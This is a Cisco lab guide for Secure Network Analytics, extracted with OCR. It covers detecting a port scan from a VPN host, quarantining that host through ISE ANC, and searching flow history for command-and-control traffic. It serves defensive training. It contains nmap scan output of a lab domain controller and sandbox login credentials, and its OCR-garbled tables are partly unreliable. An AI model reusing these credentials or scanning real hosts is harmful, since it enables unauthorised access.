| Host is up (                                       | Host is up (0.00094s latency).           |           |              |       |  |  |  |  |  |
| Not shown: 9                                       | 979 closed                               | ports     |              |       |  |  |  |  |  |
| PORT ST  | TATE SERVIC                              | E         |              |       |  |  |  |  |  |
| 53/tcp op  | pen do∎ain                               |           |              |       |  |  |  |  |  |
| 80/tcp op  | pen http                                 |           |              |       |  |  |  |  |  |
| 88/tcp op  | pen kerber                               | os-sec    |              |       |  |  |  |  |  |
| 135/tcp op   | pen srpc                                 |           |              |       |  |  |  |  |  |
| 139/tcp op   | pen netbio                               | s-ssn     |              |       |  |  |  |  |  |
| 389/tcp op   | pen Idap                                 |           |              |       |  |  |  |  |  |
| 445/tcp op   | pen ∎icros                               | oft-ds    |              |       |  |  |  |  |  |
| 464/tcp op   | pen kpassw                               | d5        |              |       |  |  |  |  |  |
| 593/tcp op   | pen http-r                               | рс-ершар  |              |       |  |  |  |  |  |
| 636/tcp op   | pen Idapss                               | 1         |              |       |  |  |  |  |  |
| 3268/tcp op  | pen global                               | catLDAP   |              |       |  |  |  |  |  |
| 3269/tcp op  | pen global                               | catLDAPss | 1            |       |  |  |  |  |  |
| 3389/tcp op  | pen ∎s-wbt                               | -server   |              |       |  |  |  |  |  |
| 49152/tcp op                                       | pen unknow                               | n         |              |       |  |  |  |  |  |
| 49153/tcp op                                       | pen unknow                               | n         |              |       |  |  |  |  |  |
| 49154/tcp op                                       | pen unknow                               | n         |              |       |  |  |  |  |  |
| 49155/tcp op                                       | pen unknow                               | n         |              |       |  |  |  |  |  |
| 49157/tcp op                                       | pen unknow                               | n         |              |       |  |  |  |  |  |
| 49158/tcp op                                       | pen unknow                               | n         |              |       |  |  |  |  |  |
| 49159/tcp op                                       | pen unknow                               | n         |              |       |  |  |  |  |  |
| 49167/tcp op                                       | pen unknow                               | n         |              |       |  |  |  |  |  |

- 6. Open a command prompt and issue the following command: ping -t 198.19.20.10
- 7. Take note of the replies from the ping command.



© 2021 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information.


### Task 3: Block host with ISE ANC

- 1. Keep the remote\_wkst tab open and select the dCloud architecture from the already open tabs within Chrome
- 2. Remote Desktop into Wkst1 as shown below



- 3. Open Chrome > select appliances from the Favorites menu and select SMC(WebUI)
- 4. The Security Insight Dashboard opens as shown below:



### Lab Guide

Cisco dCloud

5. Observe the Top Alarming Hosts and the IP address of the Remote Workstation will appear as shown below:



6. Select the IP address of **198.19.10.100** from the top alarming hosts to pivot into a host report as shown below:



- 7. At the top of the Host Snapshot Report we can see there are two alerts that are firing:
  - a. The Concern Index and Recon



8. Scroll down to the security events and notice the Security Events (port scans) that attributed to this alert firing within Secure Network Analytics as shown below.

| r | op Security Events for 198.19.10.10 | 0     |               |                  |                      | Source (10)        | Target (10) |
|---|-------------------------------------|-------|---------------|------------------|----------------------|--------------------|-------------|
|   | SEGURITY EVENT                      | COUNT | CONCERN INDEX | FIRST AGTIVE     | TARGET HOST          | TARGET HOST GROUP  | ACTIONS     |
|   | Port Scan                           | 154   | 1,663,354     | 03/05 8:29:48 AM | 198.19.20.36 🔾       | End User Devices   | Θ           |
|   | •                                   |       |               |                  |                      |                    |             |
|   | Port Scan                           | 151   | 1,030,951     | 03/05 8:29:48 AM | 198.19.20.10 \ominus | Domain Controllers | Θ           |
|   | •                                   |       |               |                  |                      |                    |             |

At this point we have sufficient information to apply an Adaptive Network Control Policy through PxGrid and ISE.

9. From the Host Summary widget select the Edit from the ISE ANC Policy as shown below.

| Host Summary    |                                       |
|-----------------|---------------------------------------|
|                 | <sup>Host IP</sup><br>198.19.10.100 ⊙ |
| Flows           | Classify History                      |
| Status:         |                                       |
| Hostname:       |                                       |
| Host Groups:    | Remote VPN IP Pool                    |
| Location:       | Unknown                               |
| First Seen:     | 1/17/19 3:06 PM                       |
| Last Seen:      | 9/8/19 7:04 AM                        |
| Policies:       | Inside,Remote_VPN_Policy              |
| MAC Address:    | 00:50:56:bb:79:2b (VMware, Inc.)      |
| ISE ANC Policy: | Edit                                  |

14. When the Applying ANC policy screen displays select SW\_Quarantine.

| Applying ANC policy ×  |                             |                   |                                       |  |  |  |  |  |  |  |  |
|--|-----------------------------|-------------------|---------------------------------------|--|--|--|--|--|--|--|--|
| Select the ANC Policy to apply to ISE cluster for this host: 198.19.10.100 |                             |                   |                                       |  |  |  |  |  |  |  |  |
| ISE  | ISE Username MAC ANC Policy |                   |                                       |  |  |  |  |  |  |  |  |
| ISE  | employee                    | 00:50:56:8A:8A:3) | No policy appl 🗸<br>No policy applied |  |  |  |  |  |  |  |  |
|  | SW_Quarantine               |                   |                                       |  |  |  |  |  |  |  |  |
|  |                             |                   |                                       |  |  |  |  |  |  |  |  |

15. Select **Save**, and observe the policy applied to the host 198.19.10.100.

# Lab Guide



16. Access the remote\_wkst tab in your browser and view the results of the ANC policy. The hosts VPN connection should have been disconnected and the ping packets are timing out.

Secure Network Analytics through PxGrid and ISE put this host in a remediation vlan until the security team has time to investigate the incident.

NOTE: In Secure Network Analytics 7.3.0 forward the ability to setup automatic ISE ANC response has been added.





Once there has been an investigation, the host can be put back on the network through Secure Network Analytics as shown below by editing the ANC policy to "No policy applied" and click save.

| Applying ANC policy ×  |          |                  |                  |  |  |  |  |  |  |  |
|--|----------|------------------|------------------|--|--|--|--|--|--|--|
| Select the ANC Policy to apply to ISE cluster for this host: 198.19.10.100 |          |                  |                  |  |  |  |  |  |  |  |
| ISE  | Username | MAC              | ANC Policy       |  |  |  |  |  |  |  |
| ISE  | employee | 00:50:56:8A:8A:3 | No policy appl 🗸 |  |  |  |  |  |  |  |
|  |          |                  |                  |  |  |  |  |  |  |  |
|  |          |                  |                  |  |  |  |  |  |  |  |
|  |          |                  |                  |  |  |  |  |  |  |  |
|  |          |                  |                  |  |  |  |  |  |  |  |
|  |          |                  |                  |  |  |  |  |  |  |  |
|  |          |                  |                  |  |  |  |  |  |  |  |
|  |          |                  |                  |  |  |  |  |  |  |  |
|  |          | Close            | Save             |  |  |  |  |  |  |  |

- 10. Access the remote\_wkst tab again and log into AnyConnect with the employee credentials of C1sco12345
- 11. Observe the pings have resumed as shown below.

| Co. Co | mmand | Prompt - ping -t 19 | 8.19.20.10 |          |         |
|--------|-------|---------------------|------------|----------|---------|
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=1ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=1ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=8ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=1ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=1ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=1ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=2ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=1ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=1ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=2ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=1ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=9ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=1ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=1ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=1ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=2ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=1ms | TTL=127 |
| Reply  | from  | 198.19.20.10:       | bytes=32   | time=1ms | TTL=127 |

### **Summary**

In this lab, you learned:

- The importance of accounting for all traffic from trusted 3<sup>rd</sup> party and VPN networks.
- How to detect threats hidden within trusted network connections.
- How to use the Top Alarming Hosts to find and threat and initiate an ISE ANC policy to block the hosts.

### Lab 3. Analyze historical traffic to identify threats from suspect countries

Threats are hiding in legitimate network traffic through common web browsing or through ports and applications that are trusted within firewall rules and on the endpoint. One way to identify these threats is to account for all network traffic entering and leaving the organization to the Internet. Once this visibility is collected, retrospective analysis over this long-term history can be performed to identify what should not exist. Through this visibility and retrospection, detection of threats will be improved along with being able to improve enforcing network segmentation.

See the supporting lab video overview here > <u>https://cs.co/SWTestDrive-Lab3</u>.

## **Test Drive Objectives**

Within this test drive, you will gain an understanding of the importance of accounting for all traffic entering and leaving your organization to the Internet to identify threats hidden within trusted connections. Most Secure Network Analytics deployments store 90+ days of network history and solutions can be architected to meet longer term needs such as a year plus. This history allows for detecting threats through retrospection along with building a long-term incident response platform.

## **Test Drive Requirements**

- Stealthwatch Management Console (SMC) any version.
- Stealthwatch Flow Collector any version.
- Any version of NetFlow meeting the minimum supported fields mentioned in the NetFlow lab.
- NetFlow should be exported inside the firewall from any source with Internet access.
- Cisco Identity Services Engine (ISE) (this is optional for added context and quarantining.)

## Test Drive Outline

- Task 1. Generate traffic to random countries.
- Task 2. Identify traffic to random countries.
- Task 3. Identify possible command and control traffic over the past 7 days.
- Task 4. Identify possible data loss over the past 7 days to suspect countries.

### Task 1: Generate traffic to random countries

In this task, you will generate random traffic that is trusted from an installed application over common ssl web traffic.

- 1. Return to the **Tor Browser**, or re-open it from the desktop of Wkst1.
- 2. Search for "how does tor work" and reach through a few articles to generate traffic.

Note: Browsing with TOR can be a very slow process.

3. Open and read the Wikipedia article shown below on how the Tor network works.



### Task 2: Investigate traffic to random counties

Within this lab you will learn how to view all countries your Wkst1has connected to.

- 1. Launch **Chrome** from the desktop of your Wkst1, as shown below.
- 2. Select the SMC (WebUI) bookmark from the Appliances folder of the bookmark toolbar.
- 3. Login with username admin and password C1sco12345



- 4. Enter the IP address of your Wkst1, **198.19.30.36**, into the **Search** filter and press **Enter**, as shown in the figure below.
- 5. Take note of the **Alarms filter** in the left-hand pane, and observe the alarm category scoring. This shows the overall behavioral reputation scoring of this host to indicate if any threats exist, as shown below.
- 6. Click the IP address 198.19.30.36 hyperlink to open a Host Report.

| Stealthwatch   | Dashboards                     | Monitor Analy       | vze Jobs       | Configure | Deploy | ý    |        |      | ٩    | •        | Desktop ( | Client |
|--|--------------------------------|---------------------|----------------|-----------|--------|------|--------|------|------|----------|-----------|--------|
| Inside Hosts : 198.19.30.36 (1)                      |                                |                     |                |           |        |      |        |      | 0    | 198.19.3 | 0.36      |        |
| Current Filters                                      | Host                           |                     |                |           |        |      |        |      |      |          |           |        |
| No Filters Selected                                  | Sorted by overall severit      | ty 💿                |                |           |        |      |        |      |      |          |           |        |
| Clear All  | Host Address                   | Host Name           | Last Active    | ¢ cı      | \$ ті  | ‡ RC | \$ C&C | ‡ EP | ‡ ds | ‡ DT     | ‡ DH      | ¢ ۱    |
| Filter Results By:                                   | 198.19.30.36 ⊙<br>First 6 us 1 | wkst1.dcloud.local. | 9/8/19 7:38 AM | 844%      | 1%     | 38%  |        |      |      |          |           |        |
| Concern Index (1)<br>Anomaly (0)<br>Exploitation (0) |                                |                     |                |           |        |      |        |      |      |          |           |        |

- 7. Focus on the **Traffic by Peer Host Group** report in the center. The right-hand side of this widget shows connections to Internet segments and should reflect connections to countries you initiated through the Tor browsing. **Hover your mouse** over the thicker lines to get a popup showing how much traffic is being exchanged with the given segment and your Wkst1, as shown below.
- 8. Now, let's see what countries your host has peered with the most on the Internet. Click the **Flows** button within the Host Summary pane as shown below.



- 9. Within the query, select **Top Peers** for the **Search Type**, as shown below.
- 10. Select Last 8 Hours for the Time Range.
- 11. Define a name for the search by entering "Top Countries Connected to by my Wkst1" in the Search Name field.
- 12. Ensure the IP address 198.19.30.36 is displayed for the Subject.
- 13. Under Peer Host Groups, click Select.

| cisco Stealthwatch Dashi  | boards Monitor Analyze   | Jobs Configure Deploy                               | Q 😨 🔅 Desktop Client  |
|---|--|---|---|
| Top Peers Search  |  |   |   |
| Last & Hours (Time Range)       Subject:     198.19.30.36 × Either (Orientation)       Connection:     Total (Direction)       Peer:     Countries (Host Groups) × I Americas (Host Groups) × | 1 Other (Host Groups) $	imes$  | Rest  | tore Defaults Load Saved Search ✓ Save Search   |
| SEARCH TYPE TIME RANGE *  | rs 10  | SEARCH NAME *<br>Top Countries Connected to by my W | Vkst1 11  |
| Subject   | Connection   |   | Peer  |
| HOST IP ADDRESS<br>198.19.30.36 ×<br>HOST GROUPS<br>Select  | PORT / PROTOCOL<br>ex. 80/tcp or 180/tcp<br>APPLICATIONS<br>Select<br>DIRECTION<br>Total | v   | HOST IP ADDRESS<br>ex. 192.168.10.10 or 1192.168.10.10<br>HOST GROUPS<br>Select<br>Countries × 1Americas × 10ther × |

14. Click Include and select Countries, under Outside Hosts, as shown below.

#### 15. Click Excludes and select Americas and Other.

© 2021 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information.



Note: We are excluding some groups to illustrate filtering and focus on less results.

### 16. Click Apply.

| 5 Top Peers Search   Stealthwatch × +   |  |   |   |       |
|---|--|---|---|-------|
| ← → C ☆ ▲ Not secure   https://198.19.20.136  | /lc-landing-page/smc.html#/flowAnalysis/searc  | h?autoRun=0&Qqr=300&Qoh0ii=198.19.2   | 0.36  | ☆ 🖰 : |
| Host Group Selector ×<br>Countries × Americes × Pather ×<br>14 Include Exclude 15<br>Bearch<br>Inside Hosts<br>Outside Hosts<br>Outside Hosts<br>Content Net orks<br>V Countries  | Host Groups) × tOther (Host Groups) ×<br>RANGE *<br>Last 8 Hours                     | If #flowAnalysis/search?autoRun=08Qqr=3008Qoh0ii=198:19.20.36 If #flowAnalysis/search?autoRun=08Qqr=3008Qoh0ii=198:19.20.36 Restore Defaults Load Saved Search Save Search If Heat Groups) : If Heat Groups) : If Heat Groups) : If Heat Groups) : If Do Countries Connect to by my jump heat Section Report IP ADDRESS |   |       |
| Africation Africation Arrived | Connection PORT / PROTOCOL ex. 80/tcp or 180/tcp APPL/CATIONS Select DIRECTION Total | ~   | Peer<br>HOST IP ADDRESS<br>ex. 192.168.10.10 or 1192.168.10.10<br>HOST GROUPS<br>Select<br>Countries X 1Americas X 10ther X |       |

- 17. Make sure the filter matches exactly like what is displayed below and select **Search**.
- 18. You should see results like what is as shown below. Review the top peers your machine has connected to, how much traffic was transferred, and the ratio of traffic seen by your machine versus the peer host.
- 19. Select the **Stealthwatch Online Help**, as shown below, to get more details of how to interpret the results.

| cisco Stealt                                    | hwatch  |                                    | Dashboards                   | Monitor | Analyze | Jobs Conf       | gure Deploy |             | ٩           | Desktop Client   |
|---|---|------------------------------------|------------------------------|---------|---------|-----------------|-------------|-------------|-------------|--|
| Top Peers Sea                                   | rch Results (18   | )                                  |                              |         |         |                 |             |             | 19          | Admin User<br>Stealthwatch Online Help<br>Stealthwatch Resources |
| Edit Search<br>Subject:<br>Connection:<br>Peer: | Last 8 Hours (Time Range)<br>198.19.30.36 Either (One<br>Total (Direction)<br>Countries (Host Groups) | Intration)                         | <b>! Other</b> (Host Groups) |         |         |                 |             | Save Search | Save Result | t About Stealthwatch<br>Change Password<br>Logout                |
| % OF BYTES                                      | PEER IP ADDRESS   | PEER NAME                          | PEER HOST GRO.               | BYTES   |         | PEER BYTE RATIO | PACKETS     | FLOWS       | Mana        | ge Columns Export V  |
| 44.00%  | 31.13.66.19 💮   | xx-fbcdn-shv-01-<br>iad3.fbcdn.net | Ireland                      | 125.44  | к       | 99.02%          | 142         | 1           | 1           | Server   |
| <mark>9.</mark> 90%                             | 147.75.39.192 ⊙   |                                    | Netherlands                  | 28.23 K |         | 88.45%          | 75          | 2           | 2           | Server   |
| 25%   | 176.9.103.51 💮  | 4 A                                | Germany                      | 20.67 K |         | 91.51%          | 54          | 2           | 2           | Server   |
| 07%   | 74.121.138.92 ⊙   |                                    | France                       | 20.16 K |         | 60.21%          | 50          | 1           | 1           | Server   |
| .34%  | 37.157.6.251 💮  | ac)                                | Denmark                      | 15.22 K |         | 88.38%          | 48          | 2           | 2           | Server   |
| .22%  | 74.121.140.172 💮  | **                                 | Switzerland                  | 12.03 K |         | 73.41%          | 45          | 2           | 2           | Server   |
| 0.7%  | 185 167 164 37  |                                    | Denmark                      | 11 61 K |         | DO ARK          | 62          | 1           | 1           | Saniar   |

### Task 3: Identify possible command and control traffic over the past 7 days

Now that you are comfortable generating traffic and interpreting results, let's pick a broad collection of countries and see which internal hosts are being connected to the most. The Top Peers report will allow you to filter by flows over long periods of time to see if there are any persistent connections from suspect countries which could indicate command and control traffic. Often these connections remain unseen as they are connecting over trusted applications and bypassing any firewall rules.

1. Select Analyze > Flow Search from the menu bar, as shown below.



- 2. For the **Search Type**, select **Top Peers**, as shown below.
- 3. For the Time Range, select Last 7 Days.
- 4. For the Search Name, type "Top Internal Peers To Non Business Countries by flows."
- 5. Within Subject Host Groups, select Include, and then check Outside Hosts
- 6. Select Exclude, check Americas and then click Apply.
- 7. Within Peer Host IP Address, type 10.201.3.0/24 (which represents one of the user segments within your organization).

| Host Group Selector  | × Dashboar      | ds Monitor  | Analyze | Jobs Cor  | figure Deploy        | O Desktop Client                             |
|--|-----------------|---|---------|-----------|----------------------|--|
| Outside Hosts  | s (Host Groups) | K Ether (Overdation)  |         |           | Restore Defaults     | Load Seved Search Save Search                |
| Authorized External VS Servers     Content Networks     Countries     Africa     Arrica     Americas | RANGE *         | 3   | SEAR    | CH NAME * | o Non Business Count | ries   |
| Casia     Europe     Oceania     Other     Custom Reputation List     Trusted Internet Hosts         |                 | Connection<br>PORT / PROTOCOL<br>ex. BOltop or 180/top<br>APPLICATIONS<br>Select<br>DIRECTION |         |           | Pee<br>Host          | P ADDRESS<br>901 3 072 4<br>GROUPS<br>Geloct |
| Cancel Apply   |                 | Total   |         |           | ~                    |  |

8. Under Advanced Options, select Flows from the Order By drop down, shown below.



| Select Outside Hosts × I Americas × I Europe ×  | Select     Select       DIRECTION     V                      |
|---|--|
| Advanced Options     SUBJECK RENTATION     O Eithe O Client O Server     RECORDS RS URNED *     50     ORDER BY     Flows     8     PERFORMANCE OPTIONS     O Standard O Advanced | FLOW COLLECTOR NAME Select Plow Collectors INTERFACES Select |

- 9. To begin the query, select **Search** in the top right corner. The query may take a few minutes.
- 10. You should see results like those in the screenshot below. Make note of the number of flows for the respective inside hosts.
- 11. In the top right corner, select **Save Search** so we can retrieve results later, as shown below. Keep the same name you defined above and click **Save**.
- 12. You should see a host listed with IP address of **10.201.3.15**. Click the number (765 in below example) in the **Flows column** to retrieve the flows for 10.201.3.15, as shown below. It may take a minute for all flows to be retrieved.

| cisco Stea              | althwatch                                    |                      | Dashboards                         | Monitor              | Analyze | Jobs         | Configure | Deploy      | Q 🗉          | Client             |
|-------------------------|--|----------------------|------------------------------------|----------------------|---------|--------------|-----------|-------------|--------------|--------------------|
| Top Peers S             | earch Results                                | (51)                 |                                    |                      |         |              |           |             |              |                    |
| Edit Search             | Last 7 Days (Time Range                      | e)                   |                                    |                      |         |              |           | Save Search | Save Results | Start New Search   |
| Subject:<br>Connection: | Outside Hosts (Host Gro<br>Total (Direction) | Pups) ! Americas (He | pst Groups) Either (Orien          | ntation)             |         |              |           |             | 100% Comp    | lete Delete Search |
| Peer:                   | 10.201.3.0/24 (Host IP )                     | Address)             |                                    |                      |         |              |           |             |              |                    |
|                         |  |                      |                                    |                      |         |              |           |             | Manage C     | olumns Export V    |
| % OF BYTES              | PEER IP ADDRE                                | PEER NAME            | PEER HOST GR.                      | BYTES                | P       | EER BYTE RAT | PACKETS   | FLOWS       | HOSTS        | PEER ROLE          |
| <mark>6</mark> .76%     | 10.201.3.15                                  |                      | Sales and Marke                    | ting                 |         |              |           | 765 12      | 75           | Client and Server  |
| <mark>8</mark> .53%     | 10.201.3.5 💬                                 |                      | End User Device<br>Sales and Marke | es, 79.57 M<br>eting | и 2     | 75%          | 180.33 K  | 739         | 246          | Client             |



- 13. Within the flow results header row, type **80/tcp** in the **Subject Port** filter, as illustrated below.
- 14. Type >2K in the Total Bytes filter to reduce the displayed results. You may need to scroll to the right using the slider at the bottom of the browser window to see the Total Bytes column or unzoom the browser window.
- 15. Scroll through the flows, expand details, and make note of flows that include payload information as shown below. Many netflow exporters can include additional context.
- 16. After exploring a few flow details, click the Peer IP of **10.201.3.15** in one of the flow records to open a host report, as shown below.

| E | dit Search 01/25/  | /2019 08:41 PM - 02/0    | 01/2019 08:41 PM (Ti | me R 1,000 (Ma     | ax Records)             |                   |                          | Save Sea            | rch Save Re        | sults Start N     | lew Search    |
|---|--|--------------------------|----------------------|--------------------|-------------------------|-------------------|--------------------------|---------------------|--------------------|-------------------|---------------|
|   | Subject: Outsid  | le Hosts (Host Groups)   | ! Americas (Host Gr  | oups) ! Europe (Ho | ost Groups) Either (Ori | entation)         |                          |                     | 100%               | 6 Complete        | Delete Search |
|   | Connection: All (Flo                                     | w Direction) FCNF (F     | Flow Collector Name) |                    |                         |                   |                          |                     |                    |                   |               |
|   | Poor 10 201  | 2 15 /Hort ID Addron     | 5                    |                    |                         |                   |                          |                     |                    |                   |               |
|   | 10.201   | 1.0. TO (HOSt IF MOULOS: | 27                   |                    |                         |                   |                          |                     |                    |                   |               |
| 0 |  |                          |                      |                    |                         |                   | N                        | lanage Columns      | Summary            | Export V          |               |
|   | START  | DURATION                 | SUBJECT IP A         | SUBJECT PO         | SUBJECT HO              | SUBJECT BYT       | SUBJECT PAY              | APPLICATION         | TOTAL BYTES        | PEER IP ADDR      | PEER PORT/F   |
|   | Ex. 06/09/2  | Ex. <=50min40            | Ex. 10.10.10.1       | 80/tcp 13          | Ex. "catch All"         | Ex. <=50M         | Ex. "HEAD http:          | Ex. "Corporate      | >2K 14 ×           | Ex. 10.255.25:    | Ex. 2055/UE   |
| 1 | Jan 31, 2019<br>10:16:12 PM<br>(22hr 47min 25s<br>5 ago) | 2s                       | 212.199.161.37<br>   | 80/TCP             | Israel                  | 1.25 K            | 301 Moved<br>Permanently | НТТР                | 2.8 K              | 10.201,3.15 💬     | 53638/TCP     |
|   | General  |                          |                      |                    |                         |                   |                          |                     |                    |                   |               |
|   | View URL Data  |                          |                      |                    |                         |                   |                          |                     |                    |                   |               |
|   | Subject  |                          | Totals               |                    | Peer                    |                   |                          |                     |                    |                   |               |
|   | Packets:   | 8                        | T nts:               | 20                 | Packets:                | 12                |                          |                     |                    |                   |               |
|   | Packet Rate:   | 4 pps                    | Packet R             | 10 pps             | Packet Rate:            | 6 pps             |                          |                     |                    |                   |               |
|   | Bytes:   | 1.25 KB                  | Bytes:               | 2.8 KB             | Bytes:                  | 1.55 KB           |                          |                     |                    |                   |               |
|   | Byte Rate:   | 641 bps                  | Byte Rate:           | 1.00               | bos Byte Rate:          | 792.5 bps         |                          |                     |                    |                   |               |
|   | Percent Transfer:  | 44.72%                   | Subject By           | te Ratio: 44.729   | 6 rcent Transfe         | r. 55.28%         |                          |                     |                    |                   |               |
|   | Host Groups:   | Israel                   | RTT:                 | 0secor             | nds Host os:            | End User Device   | es,                      |                     |                    |                   |               |
|   | Payload:   | 301 Moved Perm           | anently SRT:         | Osecor             | nds Payload:            | GET http://gail.h | nit.gemius.pl/_13553     | 31663290/rexdot.gif | ?l=30&id=ByA6uOrb0 | wBJIZB.niJDSmYT.j | Bgu7EKipmT0;  |
|   | Jan 31, 2019   | 3min 40s                 | 216.38.170.167       | 80/TCP             | Unknown                 | 2.06 K            | 302 Found                | HTTP                | 3.57 K             | 10.201.3.15 💮     | 49356/TCP     |



- 17. Within the Host Report for 10.201.3.15, scroll down to the **Top Security Events** section, as shown below. Read the details of various security events and make note of the **Suspect Quiet Long Flow**. (if event is there, it may not be)
- 18. Take note of the added context associated with 10.201.3.15 within the Users & Sessions section, shown below. This section shows that the user "gail" was logged into this system along with MAC address and Device Type information. This information is received from Cisco Identity Services Engine (ISE).
- 19. The **Application Traffic Internal** tab will show what applications are being used inside the network and External will show the applications being used to the Internet.

| TOp Security Events for 10.201.3.15         Source (th)         Target           SECURITY EVENT         COURT         COURT         COURT         COURT         CACHCERN INDEX         FIRST ACTIVE         TARGET HOST         TARGET HOST         TARGET HOST         CACHCAN         ACTIVE           Bad_Flag_ACK**-389         1         4,801         06/24 453.04 AM         192.156.27.5 ①         Catch AII         ①           Suspect Quiet Long Flow-443         1         4,001         06/24 901.46 AM         205.182.2183 ①         United States         ②           Flow_Denied - 443         1         4,001         06/24 901.46 AM         64.12.104.224 ②         United States         ③           Flow_Denied - 443         1         163         06/24 55.53.53 M         173.194.74.85 ③         United States         ③           Flow_Denied - 443         1         163         06/24 502.6 AM         74.125.137.132 ④         United States         ④           Flow_Denied - 80         1         163         06/24 32.23.40 AM         205.188.261.20 Ú         United States         ④           Flow_Denied - 80         1         163         06/24 3.02.4M         205.188.261.20 Ú         United States         ④           Flow_Denied - 80         1         163         0   |                 | фрз 🦲 Аррітансез 🔛 Сізсо в               | ox one Crisco Jive                        |               |        |       |               |       |          |                |              |             | -              |
|---|-----------------|--|---|---------------|--------|-------|---------------|-------|----------|----------------|--------------|-------------|----------------|
| SECURITY EVENT         COUNT         COUNT         COUNT         FIRST ACTIVE         TARGET HOST         TARGET HOST GROUP         ACTIVE           Bad_Flag_ACK**-389         1         4,001         06/24 45304 AM         192 166 275 ©         Catch AII         Ø           Suspect Quiet Long Flow-443         1         4,001         06/24 90146 AM         205 186 2183 Ø         United States         Ø           Suspect Quiet Long Flow-443         1         4,001         06/24 90146 AM         641 2104 224 Ø         United States         Ø           Flow_Denied-443         2         226         06/24 32319 AM         741 25137.113 Ø         United States         Ø           Flow_Denied-443         1         163         06/24 505 26 AM         741 25137.132 Ø         United States         Ø           Flow_Denied-80         1         163         06/24 506 26 AM         741 25137.132 Ø         United States         Ø           Flow_Denied-80         1         163         06/24 32340 AM         205 186 20.120 Ø         United States         Ø           Flow_Denied-80         1         163         06/24 32340 AM         206 80154 234 Ø         United States         Ø           Flow_Denied-80         1         163         06/24 316 57 AM <td< th=""><th>To</th><th>p Security Events for 10.201.3.1</th><th>5</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>Source (10)</th><th>Target</th></td<>   | To              | p Security Events for 10.201.3.1         | 5   |               |        |       |               |       |          |                |              | Source (10) | Target         |
| Bad_Flag_ACK**-389       1       4,801       06/24 4,53.04 AM       192166.27.5 O       Catch All       O         Suspect Quiet Long Flow-443       1       4,001       06/24 9.01.46 AM       205168.2.183 O       United States       O         Suspect Quiet Long Flow-443       1       4,001       06/24 9.01.46 AM       64 12 104 224 O       United States       O         Flow_Denied-443       2       326       06/24 3.23.19 AM       74 125 137.113 O       United States       O         Flow_Denied-443       1       163       06/24 5.53.53 AM       173.194 74.95 O       United States       O         Flow_Denied-443       1       163       06/24 5.50.26 AM       74.125.137.113 O       United States       O         Flow_Denied-443       1       163       06/24 5.50.26 AM       74.125.137.132 O       United States       O         Flow_Denied-80       1       163       06/24 5.00.26 AM       74.125.137.132 O       United States       O         Flow_Denied-80       1       163       06/24 3.34.07 AM       74.125.140.132 O       United States       O         Flow_Denied-80       1       163       06/24 3.23.40 AM       208 0.154.234 O       United States       O         Flow_Denied-80       1  |                 | SECURITY EVENT                           | COUNT                                     | CONCERN INDEX |        | ✓ FIR | ST ACTIVE     |       | TAP      | RGET HOST      | TARGET HOS   | T GROUP     | ACTIC          |
| Suspect Quiet Long Flow - 443       1       4,001       06/24 9.01.46 AM       205168.2183 (J)       United States       (J)         Suspect Quiet Long Flow - 443       1       4,001       06/24 9.01.46 AM       64 12.104.224 (J)       United States       (J)         Flow_Denied - 443       2       326       06/24 3.23.19 AM       74.125.137.113 (J)       United States       (J)         Flow_Denied - 443       1       163       06/24 5.55.53 AM       173.194.74.95 (J)       United States       (J)         Flow_Denied - 443       1       163       06/24 5.05.26 AM       74.125.137.113 (J)       United States       (J)         Flow_Denied - 443       1       163       06/24 5.05.26 AM       74.125.137.132 (J)       United States       (J)         Flow_Denied - 60       1       163       06/24 5.06.26 AM       74.125.137.132 (J)       United States       (J)         Flow_Denied - 60       1       163       06/24 4.2.02 AM       205168.20.120 (J)       United States       (J)         Flow_Denied - 80       1       163       06/24 3.34.07 AM       74.125.140.132 (J)       United States       (J)         Flow_Denied - 80       1       163       06/24 3.16.57 AM       178.255.03.1 (J)       United States       (J)  | +               | Bad_Flag_ACK** - 389                     | 1   | 4,801         |        | 06/   | 24 4:53:04 AM |       | 193      | 2 168 27.5 🔘   | Catch All    |             | 0              |
| Suspect Quiet Long Flow- 443       1       4,001       06/24 9.01.46 AM       64 12.104 224 (J)       United States       (J)         Flow_Denied - 443       2       326       06/24 3.23.19 AM       74.125.137.113 (J)       United States       (J)         Flow_Denied - 443       1       163       06/24 5.55.55 AM       173.194 74.95 (J)       United States       (J)         Flow_Denied - 443       1       163       06/24 5.05.26 AM       74.125.137.132 (J)       United States       (J)         Flow_Denied - 443       1       163       06/24 4.202 AM       205.166.28.128 (J)       United States       (J)         Flow_Denied - 443       1       163       06/24 3.34.07 AM       74.125.140.132 (J)       United States       (J)         Flow_Denied - 80       1       163       06/24 3.34.07 AM       74.125.140.132 (J)       United States       (J)         Flow_Denied - 80       1       163       06/24 3.24.07 AM       208.00154.234 (J)       United States       (J)         Flow_Denied - 80       1       163       06/24 3.24.07 AM       208.00154.234 (J)       United States       (J)         Flow_Denied - 80       1       163       06/24 3.24.07 AM       208.05.26.03.1 (J)       United States       (J)  |                 | Suspect Quiet Long Flow - 443            | 1   | 4,001         |        | 06/   | 24 9:01:46 AM |       | 205      | 5,188,2,183 🕑  | United State | 0           | O              |
